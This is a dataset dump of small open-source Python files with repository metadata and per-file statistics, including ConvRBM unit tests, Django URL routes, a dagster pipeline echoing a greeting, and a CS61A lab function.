be03df32fb6a86eac83382b3bfea79f08a197396
| 122
|
py
|
Python
|
boa3_test/test_sc/built_in_methods_test/IsInstanceIntVariable.py
|
hal0x2328/neo3-boa
|
6825a3533384cb01660773050719402a9703065b
|
[
"Apache-2.0"
] | 25
|
2020-07-22T19:37:43.000Z
|
2022-03-08T03:23:55.000Z
|
boa3_test/test_sc/built_in_methods_test/IsInstanceIntVariable.py
|
hal0x2328/neo3-boa
|
6825a3533384cb01660773050719402a9703065b
|
[
"Apache-2.0"
] | 419
|
2020-04-23T17:48:14.000Z
|
2022-03-31T13:17:45.000Z
|
boa3_test/test_sc/built_in_methods_test/IsInstanceIntVariable.py
|
hal0x2328/neo3-boa
|
6825a3533384cb01660773050719402a9703065b
|
[
"Apache-2.0"
] | 15
|
2020-05-21T21:54:24.000Z
|
2021-11-18T06:17:24.000Z
|
from typing import Any
from boa3.builtin import public
@public
def Main(a: Any) -> bool:
return isinstance(a, int)
| 13.555556
| 31
| 0.713115
| 19
| 122
| 4.578947
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010204
| 0.196721
| 122
| 8
| 32
| 15.25
| 0.877551
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0.2
| 0.8
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| 1
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| null | 0
| 0
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| 0
| 0
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 5
|
077053842d8b8c9059deb7eb8a2b1d05cccbee50
| 88
|
py
|
Python
|
maths2.py
|
pieleric/continuous-integration-with-python
|
698a23598e8d98bfeff981857b0c40d8d0b25bb3
|
[
"MIT"
] | null | null | null |
maths2.py
|
pieleric/continuous-integration-with-python
|
698a23598e8d98bfeff981857b0c40d8d0b25bb3
|
[
"MIT"
] | null | null | null |
maths2.py
|
pieleric/continuous-integration-with-python
|
698a23598e8d98bfeff981857b0c40d8d0b25bb3
|
[
"MIT"
] | 1
|
2021-09-14T09:55:55.000Z
|
2021-09-14T09:55:55.000Z
|
def multiple(first,second):
return first * second * 3
def add(x,y):
return x+y
| 14.666667
| 29
| 0.636364
| 15
| 88
| 3.733333
| 0.6
| 0.392857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014925
| 0.238636
| 88
| 5
| 30
| 17.6
| 0.820896
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 5
|
0785c3fc2c1a41b58014881a23bd79d1b4d59aac
| 7,288
|
py
|
Python
|
tests/learnergy/models/bernoulli/test_conv_rbm.py
|
anukaal/learnergy
|
704fc2b3fcb80df41ed28d750dc4e6475df23315
|
[
"Apache-2.0"
] | 39
|
2020-02-27T00:47:45.000Z
|
2022-03-28T14:57:26.000Z
|
tests/learnergy/models/bernoulli/test_conv_rbm.py
|
anukaal/learnergy
|
704fc2b3fcb80df41ed28d750dc4e6475df23315
|
[
"Apache-2.0"
] | 5
|
2021-05-11T08:23:37.000Z
|
2022-01-20T12:50:59.000Z
|
tests/learnergy/models/bernoulli/test_conv_rbm.py
|
anukaal/learnergy
|
704fc2b3fcb80df41ed28d750dc4e6475df23315
|
[
"Apache-2.0"
] | 6
|
2020-04-15T00:23:13.000Z
|
2022-01-29T16:22:05.000Z
|
import torch
import torchvision
from learnergy.models.bernoulli import conv_rbm
def test_conv_rbm_visible_shape():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.visible_shape == (28, 28)
def test_conv_rbm_visible_shape_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.visible_shape = 'a'
except:
new_conv_rbm.visible_shape = (28, 28)
assert new_conv_rbm.visible_shape == (28, 28)
def test_conv_rbm_filter_shape():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.filter_shape == (7, 7)
def test_conv_rbm_filter_shape_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.filter_shape = 'a'
except:
new_conv_rbm.filter_shape = (7, 7)
assert new_conv_rbm.filter_shape == (7, 7)
def test_conv_rbm_hidden_shape():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.hidden_shape == (22, 22)
def test_conv_rbm_hidden_shape_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.hidden_shape = 'a'
except:
new_conv_rbm.hidden_shape = (22, 22)
assert new_conv_rbm.hidden_shape == (22, 22)
def test_conv_rbm_n_filters():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.n_filters == 5
def test_conv_rbm_n_filters_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.n_filters = 'a'
except:
new_conv_rbm.n_filters = 1
assert new_conv_rbm.n_filters == 1
try:
new_conv_rbm.n_filters = 0
except:
new_conv_rbm.n_filters = 1
assert new_conv_rbm.n_filters == 1
def test_conv_rbm_n_channels():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.n_channels == 1
def test_conv_rbm_n_channels_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.n_channels = 'a'
except:
new_conv_rbm.n_channels = 1
assert new_conv_rbm.n_channels == 1
try:
new_conv_rbm.n_channels = 0
except:
new_conv_rbm.n_channels = 1
assert new_conv_rbm.n_channels == 1
def test_conv_rbm_steps():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.steps == 1
def test_conv_rbm_steps_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.steps = 'a'
except:
new_conv_rbm.steps = 1
assert new_conv_rbm.steps == 1
try:
new_conv_rbm.steps = 0
except:
new_conv_rbm.steps = 1
assert new_conv_rbm.steps == 1
def test_conv_rbm_lr():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.lr == 0.1
def test_conv_rbm_lr_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.lr = 'a'
except:
new_conv_rbm.lr = 0.1
assert new_conv_rbm.lr == 0.1
try:
new_conv_rbm.lr = -1
except:
new_conv_rbm.lr = 0.1
assert new_conv_rbm.lr == 0.1
def test_conv_rbm_momentum():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.momentum == 0
def test_conv_rbm_momentum_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.momentum = 'a'
except:
new_conv_rbm.momentum = 0.1
assert new_conv_rbm.momentum == 0.1
try:
new_conv_rbm.momentum = -1
except:
new_conv_rbm.momentum = 0.1
assert new_conv_rbm.momentum == 0.1
def test_conv_rbm_decay():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.decay == 0
def test_conv_rbm_decay_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.decay = 'a'
except:
new_conv_rbm.decay = 0.1
assert new_conv_rbm.decay == 0.1
try:
new_conv_rbm.decay = -1
except:
new_conv_rbm.decay = 0.1
assert new_conv_rbm.decay == 0.1
def test_conv_rbm_W():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.W.size(0) == 5
assert new_conv_rbm.W.size(1) == 1
assert new_conv_rbm.W.size(2) == 7
assert new_conv_rbm.W.size(3) == 7
def test_conv_rbm_W_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.W = 1
except:
new_conv_rbm.W = torch.nn.Parameter(torch.randn(5, 1, 7, 7) * 0.01)
assert new_conv_rbm.W.size(0) == 5
assert new_conv_rbm.W.size(1) == 1
assert new_conv_rbm.W.size(2) == 7
assert new_conv_rbm.W.size(3) == 7
def test_conv_rbm_a():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.a.size(0) == 1
def test_conv_rbm_a_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.a = 1
except:
new_conv_rbm.a = torch.nn.Parameter(torch.zeros(1))
assert new_conv_rbm.a.size(0) == 1
def test_conv_rbm_b():
new_conv_rbm = conv_rbm.ConvRBM()
assert new_conv_rbm.b.size(0) == 5
def test_conv_rbm_b_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.b = 1
except:
new_conv_rbm.b = torch.nn.Parameter(torch.zeros(5))
assert new_conv_rbm.b.size(0) == 5
def test_conv_rbm_optimizer():
new_conv_rbm = conv_rbm.ConvRBM()
assert type(new_conv_rbm.optimizer).__name__ == 'SGD'
def test_conv_rbm_optimizer_setter():
new_conv_rbm = conv_rbm.ConvRBM()
try:
new_conv_rbm.optimizer = 'OPT'
except:
new_conv_rbm.optimizer = torch.optim.SGD(
new_conv_rbm.parameters(), lr=0.1)
assert type(new_conv_rbm.optimizer).__name__ == 'SGD'
def test_conv_rbm_hidden_sampling():
new_conv_rbm = conv_rbm.ConvRBM()
v = torch.ones(5, 1, 7, 7)
probs, states = new_conv_rbm.hidden_sampling(v)
assert probs.size(1) == 5
assert states.size(1) == 5
def test_conv_rbm_visible_sampling():
new_conv_rbm = conv_rbm.ConvRBM()
h = torch.ones(1, 5, 7, 7)
probs, states = new_conv_rbm.visible_sampling(h)
assert probs.size(1) == 1
assert states.size(1) == 1
def test_conv_rbm_energy():
new_conv_rbm = conv_rbm.ConvRBM()
samples = torch.ones(5, 1, 7, 7)
energy = new_conv_rbm.energy(samples)
assert torch.mean(energy).detach().numpy() < 0
def test_conv_rbm_fit():
train = torchvision.datasets.KMNIST(
root='./data', train=True, download=True, transform=torchvision.transforms.ToTensor())
new_conv_rbm = conv_rbm.ConvRBM(visible_shape=(28, 28), filter_shape=(1, 1), n_filters=1, n_channels=1,
steps=1, learning_rate=0.01, momentum=0, decay=0, use_gpu=True)
e = new_conv_rbm.fit(train, batch_size=128, epochs=1)
assert e >= 0
def test_conv_rbm_reconstruct():
test = torchvision.datasets.KMNIST(
root='./data', train=False, download=True, transform=torchvision.transforms.ToTensor())
new_conv_rbm = conv_rbm.ConvRBM(visible_shape=(28, 28), filter_shape=(1, 1), n_filters=1, n_channels=1,
steps=1, learning_rate=0.01, momentum=0, decay=0, use_gpu=True)
e, v = new_conv_rbm.reconstruct(test)
assert e >= 0
assert v.size(1) == 1
assert v.size(2) == 28
assert v.size(3) == 28
def test_conv_rbm_forward():
new_conv_rbm = conv_rbm.ConvRBM()
v = torch.ones(1, 1, 28, 28)
probs = new_conv_rbm.forward(v)
assert probs.size(1) == 5
assert probs.size(2) == 22
assert probs.size(3) == 22
| 21.063584
| 107
| 0.656833
| 1,168
| 7,288
| 3.72774
| 0.072774
| 0.289389
| 0.264125
| 0.132292
| 0.872072
| 0.790997
| 0.699587
| 0.638953
| 0.638953
| 0.623335
| 0
| 0.034661
| 0.232025
| 7,288
| 345
| 108
| 21.124638
| 0.743255
| 0
| 0
| 0.582938
| 0
| 0
| 0.004116
| 0
| 0
| 0
| 0
| 0
| 0.241706
| 1
| 0.151659
| false
| 0
| 0.014218
| 0
| 0.165877
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
078ed549e2259569904245095b1af69c679cb486
| 334
|
py
|
Python
|
smartagent/urls.py
|
jamespacileo/django-smartagent
|
568a8843744b138199f72c14b68ed2f1ec841571
|
[
"MIT"
] | 4
|
2015-06-30T11:24:14.000Z
|
2018-06-03T05:32:18.000Z
|
smartagent/urls.py
|
jamespacileo/django-smartagent
|
568a8843744b138199f72c14b68ed2f1ec841571
|
[
"MIT"
] | null | null | null |
smartagent/urls.py
|
jamespacileo/django-smartagent
|
568a8843744b138199f72c14b68ed2f1ec841571
|
[
"MIT"
] | null | null | null |
from django.conf.urls.defaults import *
from smartagent.views import force_desktop_version, unforce_desktop_version
urlpatterns = patterns('',
url(r'^force_desktop_version/$', force_desktop_version, name="force_desktop_version"),
url(r'^unforce_desktop_version/$', unforce_desktop_version, name="unforce_desktop_version"),
)
| 41.75
| 96
| 0.802395
| 42
| 334
| 6
| 0.404762
| 0.444444
| 0.301587
| 0.222222
| 0.277778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.083832
| 334
| 8
| 97
| 41.75
| 0.823529
| 0
| 0
| 0
| 0
| 0
| 0.280597
| 0.280597
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
079ceaaf6a894d8565cece0e7828f85a9d0ee94e
| 838
|
py
|
Python
|
tests/test_logout.py
|
javidgon/sharedcloud-cli
|
27eb21dab1e18148f5eb44fed148d4dc458c5a19
|
[
"MIT"
] | null | null | null |
tests/test_logout.py
|
javidgon/sharedcloud-cli
|
27eb21dab1e18148f5eb44fed148d4dc458c5a19
|
[
"MIT"
] | null | null | null |
tests/test_logout.py
|
javidgon/sharedcloud-cli
|
27eb21dab1e18148f5eb44fed148d4dc458c5a19
|
[
"MIT"
] | null | null | null |
from tests.test_utils import TestWrapper
# Workflow
def test_user_logs_out_successfully():
account_uuid, email, username, password = TestWrapper.create_account_successfully()
TestWrapper.login_successfully(username=username, password=password)
TestWrapper.logout_successfully()
TestWrapper.login_successfully(username=username, password=password)
TestWrapper.delete_account_successfully()
def test_user_gets_logout_automatically_after_account_deletion():
account_uuid, email, username, password = TestWrapper.create_account_successfully()
TestWrapper.login_successfully(username=username, password=password)
TestWrapper.delete_account_successfully()
TestWrapper.logout_unsuccessfully()
def test_user_gets_validation_error_if_he_is_already_logout():
TestWrapper.logout_unsuccessfully()
| 28.896552
| 87
| 0.825776
| 89
| 838
| 7.359551
| 0.359551
| 0.122137
| 0.050382
| 0.183206
| 0.627481
| 0.627481
| 0.627481
| 0.627481
| 0.627481
| 0.627481
| 0
| 0
| 0.105012
| 838
| 28
| 88
| 29.928571
| 0.873333
| 0.009547
| 0
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.214286
| true
| 0.357143
| 0.071429
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
07e40dae26422e8c824b765b88aeff64b60d2141
| 288
|
py
|
Python
|
src/test/resources/loaderTestData/testcoverage/python_coverage/project/module2.py
|
jacksonpradolima/comfort
|
30b6d845716f9cd4ba8639b168a8520cb56c6f30
|
[
"Apache-2.0"
] | 2
|
2020-05-25T15:19:57.000Z
|
2020-12-07T07:58:19.000Z
|
src/test/resources/loaderTestData/testcoverage/python_coverage/project/module2.py
|
jacksonpradolima/comfort
|
30b6d845716f9cd4ba8639b168a8520cb56c6f30
|
[
"Apache-2.0"
] | 2
|
2020-05-25T16:44:15.000Z
|
2020-05-25T17:44:18.000Z
|
src/test/resources/loaderTestData/testcoverage/python_coverage/project/module2.py
|
jacksonpradolima/comfort
|
30b6d845716f9cd4ba8639b168a8520cb56c6f30
|
[
"Apache-2.0"
] | 1
|
2020-05-25T16:44:57.000Z
|
2020-05-25T16:44:57.000Z
|
def new(a,b):
return a - b
def x(a,b):
return a
def y(z,t):
return z(*t)
def inModule2(a,b):
return a+b
def outerMethod(a,b):
def innerMethod(a,b):
if a < b:
return a+b
else:
return a-b
return innerMethod(a+2, b+4)
| 13.714286
| 32
| 0.493056
| 51
| 288
| 2.784314
| 0.313725
| 0.140845
| 0.28169
| 0.253521
| 0.253521
| 0.183099
| 0
| 0
| 0
| 0
| 0
| 0.016575
| 0.371528
| 288
| 20
| 33
| 14.4
| 0.767956
| 0
| 0
| 0.266667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
| 0.266667
| 0.866667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
580085548aa35cb03e7f24326f1b8ed24aea5bef
| 125
|
py
|
Python
|
6. Functions/6.2/6.2.3 Print any in function.py
|
ferrerinicolas/python_samples
|
107cead4fbee30b275a5e2be1257833129ce5e46
|
[
"MIT"
] | null | null | null |
6. Functions/6.2/6.2.3 Print any in function.py
|
ferrerinicolas/python_samples
|
107cead4fbee30b275a5e2be1257833129ce5e46
|
[
"MIT"
] | null | null | null |
6. Functions/6.2/6.2.3 Print any in function.py
|
ferrerinicolas/python_samples
|
107cead4fbee30b275a5e2be1257833129ce5e46
|
[
"MIT"
] | null | null | null |
# This function takes a single parameter and prints it.
def print_value(x):
print(x)
print_value(12)
print_value("dog")
| 17.857143
| 55
| 0.736
| 21
| 125
| 4.238095
| 0.714286
| 0.337079
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.019048
| 0.16
| 125
| 7
| 56
| 17.857143
| 0.828571
| 0.424
| 0
| 0
| 0
| 0
| 0.042254
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.25
| 1
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
58013f44b69da47fef6349f2b3418d91f49bd9d4
| 97
|
py
|
Python
|
xclim/testing/tests/test_sdba/__init__.py
|
Ouranosinc/dcvar
|
0737c66a36f8969e7a17276990bc7e76f7b410c4
|
[
"Apache-2.0"
] | 1
|
2018-08-20T16:36:40.000Z
|
2018-08-20T16:36:40.000Z
|
xclim/testing/tests/test_sdba/__init__.py
|
Ouranosinc/dcvar
|
0737c66a36f8969e7a17276990bc7e76f7b410c4
|
[
"Apache-2.0"
] | 3
|
2018-08-23T13:25:47.000Z
|
2018-08-23T15:59:45.000Z
|
xclim/testing/tests/test_sdba/__init__.py
|
Ouranosinc/hailstorm
|
494c850164a9f553eeeba66c6cc90fe398eb2094
|
[
"Apache-2.0"
] | null | null | null |
# noqa: D104
from __future__ import annotations
from .diagnostics import *
from .utils import *
| 16.166667
| 34
| 0.773196
| 12
| 97
| 5.916667
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.037037
| 0.164948
| 97
| 5
| 35
| 19.4
| 0.839506
| 0.103093
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
5801c5f24194fb6d75f14f5a2086abb491e75d7f
| 438
|
py
|
Python
|
medusa_control/inner_loops_controllers/medusa_identification/setup.py
|
gshubham96/medusa_base
|
1f6e8776ac115951eea13d227ce8c370abd2ea0e
|
[
"MIT"
] | null | null | null |
medusa_control/inner_loops_controllers/medusa_identification/setup.py
|
gshubham96/medusa_base
|
1f6e8776ac115951eea13d227ce8c370abd2ea0e
|
[
"MIT"
] | 1
|
2022-02-21T16:50:47.000Z
|
2022-02-21T16:50:47.000Z
|
medusa_control/inner_loops_controllers/medusa_identification/setup.py
|
gshubham96/medusa_base
|
1f6e8776ac115951eea13d227ce8c370abd2ea0e
|
[
"MIT"
] | 2
|
2022-02-02T11:00:14.000Z
|
2022-03-01T08:42:05.000Z
|
#!/usr/bin/env python
from distutils.core import setup
from catkin_pkg.python_setup import generate_distutils_setup
# for your packages to be recognized by python
d = generate_distutils_setup(
packages=['medusa_identification_algorithms', 'medusa_identification_ros'],
package_dir={'medusa_identification_algorithms': 'src/medusa_identification_algorithms', 'medusa_identification_ros': 'src/medusa_identification_ros'}
)
setup(**d)
| 33.692308
| 151
| 0.828767
| 55
| 438
| 6.254545
| 0.490909
| 0.348837
| 0.261628
| 0.209302
| 0.30814
| 0.30814
| 0
| 0
| 0
| 0
| 0
| 0
| 0.079909
| 438
| 12
| 152
| 36.5
| 0.853598
| 0.148402
| 0
| 0
| 1
| 0
| 0.48248
| 0.48248
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.285714
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
6af81c5dc416905c2b73d44c47c9165d25505e5a
| 183
|
py
|
Python
|
python_modules/libraries/dagster-shell/dagster_shell_tests/example_shell_command_solid.py
|
ymrzkrrs/dagster
|
b5713af752146674d1f96436d0a01363e6834cb7
|
[
"Apache-2.0"
] | 2
|
2021-06-21T17:50:26.000Z
|
2021-06-21T19:14:23.000Z
|
python_modules/libraries/dagster-shell/dagster_shell_tests/example_shell_command_solid.py
|
ymrzkrrs/dagster
|
b5713af752146674d1f96436d0a01363e6834cb7
|
[
"Apache-2.0"
] | 1
|
2021-06-21T18:30:02.000Z
|
2021-06-25T21:18:39.000Z
|
python_modules/libraries/dagster-shell/dagster_shell_tests/example_shell_command_solid.py
|
ymrzkrrs/dagster
|
b5713af752146674d1f96436d0a01363e6834cb7
|
[
"Apache-2.0"
] | 1
|
2021-08-18T17:21:57.000Z
|
2021-08-18T17:21:57.000Z
|
from dagster import pipeline
from dagster_shell import create_shell_command_solid
@pipeline
def pipe():
a = create_shell_command_solid('echo "hello, world!"', name="a")
a()
| 20.333333
| 68
| 0.743169
| 26
| 183
| 4.961538
| 0.576923
| 0.170543
| 0.27907
| 0.356589
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153005
| 183
| 8
| 69
| 22.875
| 0.832258
| 0
| 0
| 0
| 0
| 0
| 0.114754
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
6af8f21e575c9d17346ecf1f501b3b3d66dc2512
| 208
|
py
|
Python
|
ballir_dicom_manager/exception_handling.py
|
bashirlab/BaLLIR_DICOM_Manager
|
b24aab9eb6e551bbc684d78cf578e446a9acd526
|
[
"MIT"
] | null | null | null |
ballir_dicom_manager/exception_handling.py
|
bashirlab/BaLLIR_DICOM_Manager
|
b24aab9eb6e551bbc684d78cf578e446a9acd526
|
[
"MIT"
] | null | null | null |
ballir_dicom_manager/exception_handling.py
|
bashirlab/BaLLIR_DICOM_Manager
|
b24aab9eb6e551bbc684d78cf578e446a9acd526
|
[
"MIT"
] | null | null | null |
class ArgErrorType(Exception):
"""Raised when provided argument is of unsupported type."""
pass
class UnreadableFileError(Exception):
"""Raised when pydicom cannot read provided file."""
pass
| 29.714286
| 63
| 0.725962
| 23
| 208
| 6.565217
| 0.73913
| 0.198676
| 0.251656
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177885
| 208
| 7
| 64
| 29.714286
| 0.883041
| 0.480769
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
ed01ccd062acb077f352ee4f6e79412faab9bbee
| 104
|
py
|
Python
|
api/tacticalrmm/autotasks/admin.py
|
infinite8co/tacticalrmm
|
bd7ce5417ec672552ec3cba325318795ccde972e
|
[
"MIT"
] | 903
|
2019-10-22T22:56:42.000Z
|
2022-03-18T14:15:54.000Z
|
api/tacticalrmm/autotasks/admin.py
|
infinite8co/tacticalrmm
|
bd7ce5417ec672552ec3cba325318795ccde972e
|
[
"MIT"
] | 720
|
2019-12-07T08:11:26.000Z
|
2022-03-17T21:47:04.000Z
|
api/tacticalrmm/autotasks/admin.py
|
infinite8co/tacticalrmm
|
bd7ce5417ec672552ec3cba325318795ccde972e
|
[
"MIT"
] | 231
|
2020-02-11T14:14:21.000Z
|
2022-03-16T21:23:10.000Z
|
from django.contrib import admin
from .models import AutomatedTask
admin.site.register(AutomatedTask)
| 17.333333
| 34
| 0.836538
| 13
| 104
| 6.692308
| 0.692308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.105769
| 104
| 5
| 35
| 20.8
| 0.935484
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
ed108505650df68b9577a65a95616d45ea6e544f
| 207
|
py
|
Python
|
lab/lab00/lab00.py
|
weijiew/cs61a-sp20
|
73322b87fe40add0350e0076ad3589fbee1f28ec
|
[
"MIT"
] | 4
|
2020-10-15T13:39:30.000Z
|
2021-06-22T09:30:16.000Z
|
lab/lab00/lab00.py
|
weijiew/cs61a-sp20
|
73322b87fe40add0350e0076ad3589fbee1f28ec
|
[
"MIT"
] | null | null | null |
lab/lab00/lab00.py
|
weijiew/cs61a-sp20
|
73322b87fe40add0350e0076ad3589fbee1f28ec
|
[
"MIT"
] | null | null | null |
def twenty_twenty():
"""Come up with the most creative expression that evaluates to 2020,
using only numbers and the +, *, and - operators.
>>> twenty_twenty()
2020
"""
return 2019+1
| 25.875
| 72
| 0.637681
| 27
| 207
| 4.814815
| 0.777778
| 0.184615
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.084416
| 0.256039
| 207
| 8
| 73
| 25.875
| 0.75974
| 0.681159
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
ed1bc3a06295379d1157e489d75e712cb26bdc92
| 155
|
py
|
Python
|
bootstrap/helpers.py
|
Widcket/jinja-bootstrap
|
d19b9ec8d7c7b9645cd4d4acb79564632e8838ff
|
[
"Apache-2.0"
] | 53
|
2015-01-17T09:28:47.000Z
|
2020-02-06T03:12:05.000Z
|
bootstrap/helpers.py
|
Widcket/jinja-bootstrap
|
d19b9ec8d7c7b9645cd4d4acb79564632e8838ff
|
[
"Apache-2.0"
] | 2
|
2015-11-23T08:57:22.000Z
|
2016-01-16T06:40:45.000Z
|
bootstrap/helpers.py
|
Widcket/jinja-bootstrap
|
d19b9ec8d7c7b9645cd4d4acb79564632e8838ff
|
[
"Apache-2.0"
] | 13
|
2015-02-26T13:07:50.000Z
|
2020-06-17T03:35:21.000Z
|
"""
Helper functions to be used with Django and Jingo
"""
from django.utils.safestring import mark_safe
import re
import jinja2
from jingo import register
| 19.375
| 49
| 0.8
| 24
| 155
| 5.125
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007576
| 0.148387
| 155
| 7
| 50
| 22.142857
| 0.924242
| 0.316129
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
